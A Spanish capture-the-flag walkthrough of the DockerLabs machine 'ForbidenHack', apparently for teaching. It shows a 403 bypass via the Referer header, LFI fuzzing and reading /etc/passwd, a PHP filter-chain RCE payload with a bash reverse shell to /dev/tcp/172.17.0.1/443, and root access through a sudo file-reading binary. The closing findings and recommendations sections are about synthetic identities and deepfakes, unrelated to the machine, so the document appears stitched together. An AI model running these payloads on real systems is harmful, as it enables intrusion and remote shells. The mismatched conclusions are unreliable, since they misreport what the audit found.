Ir al contenido

ForbidenHack

Este documento presenta la resolución completa de la máquina ForbidenHack, desarrollada por d1se0 para DockerLabs y clasificada con un nivel de dificultad fácil.

El análisis se organiza siguiendo un flujo metodológico clásico de auditoría:

  1. Reconocimiento: descubrimiento de puertos, rutas accesibles y archivos expuestos.
  2. Explotación: obtención de acceso inicial mediante un bypass de restricción 403 y explotación de un LFI.
  3. Escalada de privilegios: abuso de configuraciones inseguras en un binario ejecutable vía sudo.

Los objetivos del procedimiento fueron:

  • Identificar los vectores de ataque disponibles desde el entorno inicial.
  • Analizar el comportamiento del servidor y los archivos accesibles.
  • Obtener acceso inicial mediante técnicas de bypass y análisis de código.
  • Escalar privilegios hasta usuario root aprovechando configuraciones incorrectas.

Todas las acciones se realizaron dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreForbidenHack
Autord1se0
DificultadFácil
Fecha14/01/2025
PlataformaDockerLabs

Se descomprime el archivo descargado:

Ventana de terminal
unzip "ForbidenHack.zip"

Luego se despliega la máquina mediante el script proporcionado:

Ventana de terminal
sudo bash auto_deploy.sh "ForbidenHack.tar"

El script devuelve la IP interna asignada, la cual se utilizará en todo el análisis.

IP asignada


Para mantener un espacio estructurado de análisis:

Ventana de terminal
mkdir -p ForbidenHack/{content,exploits,nmap,gobuster,scripts}
cd ForbidenHack

Se realiza un escaneo completo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puerto identificado:

  • 80/tcp — HTTP

Puertos abiertos

El único vector de entrada inicial disponible es el servicio HTTP.


Exploración inicial con Gobuster:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Entre los resultados:

  • /index.html — Página básica sin información útil.

content of index

Observamos que la página HTML hace referencia a un archivo ubicado en:

/var/www/bypass403.pw/index.php

Esto indica el uso de virtual hosts, por lo que es necesario añadir el dominio al archivo /etc/hosts.

Al acceder al dominio:

content of bypass403.pw

Se obtiene un 403 Forbidden, lo cual coincide con el nombre de la máquina.


El dominio sugiere un bypass 403, por lo que se prueban encabezados HTTP adicionales. El servidor permite el acceso si se envía un encabezado:

Referer: http://bypass403.pw

Una vez aplicado:

index show

El mensaje “Cuántos secretos guarda esta web” sugiere la existencia de rutas ocultas, por lo que se procede con fuzzing de parámetros usando ffuf:

Ventana de terminal
ffuf -u http://bypass403.pw/index.php?FUZZ=/etc/passwd \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc all -fs 0,1192 -hc 403 -t 100

result of ffuf scan

El parámetro pages permite un LFI (Local File Inclusion):

Ventana de terminal
curl -k "http://bypass403.pw/index.php?pages=/etc/passwd" \
-H "Referer: http://bypass403.pw/index.php"

contet of /etc/passwd

Como el LFI es funcional, se procede a intentar una ejecución remota mediante filter chains en PHP.

Se genera un payload de ejecución de comandos:

Ventana de terminal
php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

Se abre un listener:

Ventana de terminal
nc -nlvp 443

Y se lanza la cadena de filtros para obtener una reverse shell:

Ventana de terminal
curl --get --data-urlencode "a=bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'" \
--data-urlencode "pages=php://filter/...<cadena completa>..." \
-H "Referer: http://bypass403.pw" \
http://bypass403.pw/index.php

La reverse shell se obtiene correctamente:

revershell


En /home/bambi/ se encuentra un archivo .secret:

content of .secret

El archivo contiene:

usuario:password_base64

Se decodifica la contraseña y se accede como bambi:

Ventana de terminal
su bambi

id bambi


3.2 De bambi → root (abuso del binario furb)

Sección titulada «3.2 De bambi → root (abuso del binario furb)»

Se revisan los permisos sudo:

sudo -l result

El usuario puede ejecutar furb como root sin contraseña.

Al analizar el archivo /var/backups/furbRead.txt, queda claro que el binario se utiliza para leer archivos:

content of interestingSecret.txt

El archivo menciona que existe otro con el mismo nombre en otra ubicación, lo cual sugiere que en /root/ podría haber uno.

Se ejecuta:

Ventana de terminal
sudo furb -r /root/furbRead.txt

content of /root/furbREad

El archivo contiene una contraseña para root, por lo que solo queda acceder:

Ventana de terminal
su root

id root


Fallos de seguridad identificados (resumido)

Sección titulada «Fallos de seguridad identificados (resumido)»
  1. Alta calidad de las identidades sintéticas Los modelos generativos actuales producen rostros, voces y documentos con un nivel de realismo que dificulta su detección mediante métodos tradicionales de verificación.

  2. Ausencia de verificadores multimodales integrados La mayoría de los sistemas analizan solo una modalidad (imagen, audio o documento), lo que permite que una identidad falsa bien elaborada pase desapercibida si alguna modalidad no es evaluada.

  3. Herramientas forenses limitadas o inconsistentes Las soluciones existentes presentan tasas variables de falsos positivos/negativos, especialmente frente a contenido generado con modelos recientes.

  4. Falta de estandarización en metadatos y trazabilidad Muchos formatos no incluyen información confiable de origen, facilitando la manipulación o creación de materiales totalmente sintéticos sin dejar rastro detectable.

  5. Vulnerabilidad ante ataques de “bypass” Modificaciones simples —como compresión adicional, filtros o reenvasado del archivo— pueden degradar las señales forenses y reducir la eficacia de los detectores.

  6. Carencia de protocolos institucionales de verificación Las organizaciones no suelen contar con lineamientos claros para validar identidad digital ante la presencia de contenido sintético.


  1. Adoptar modelos de detección multimodal Integrar verificadores que analicen simultáneamente rostro, voz y documentos aumenta la probabilidad de detectar inconsistencias entre modalidades.

  2. Actualizar continuamente los detectores Implementar sistemas que se entrenen o ajusten periódicamente frente a nuevas técnicas generativas, reduciendo el rezago frente a modelos emergentes.

  3. Fortalecer el uso de metadatos verificables Establecer estándares de firma digital, trazabilidad y certificación de origen para archivos audiovisuales y documentos.

  4. Aplicar análisis forense en múltiples niveles Combinar detección basada en artefactos digitales, análisis del comportamiento del modelo y verificación contextual (ej. inconsistencias temporales o biográficas).

  5. Implementar protocolos institucionales de verificación Definir procedimientos claros para elevar el nivel de escrutinio cuando existan indicios de identidad sintética.

  6. Promover capacitación en riesgos asociados a IA generativa Sensibilizar a equipos técnicos y administrativos sobre el uso malicioso de identidades sintéticas y sobre las señales tempranas de fraude.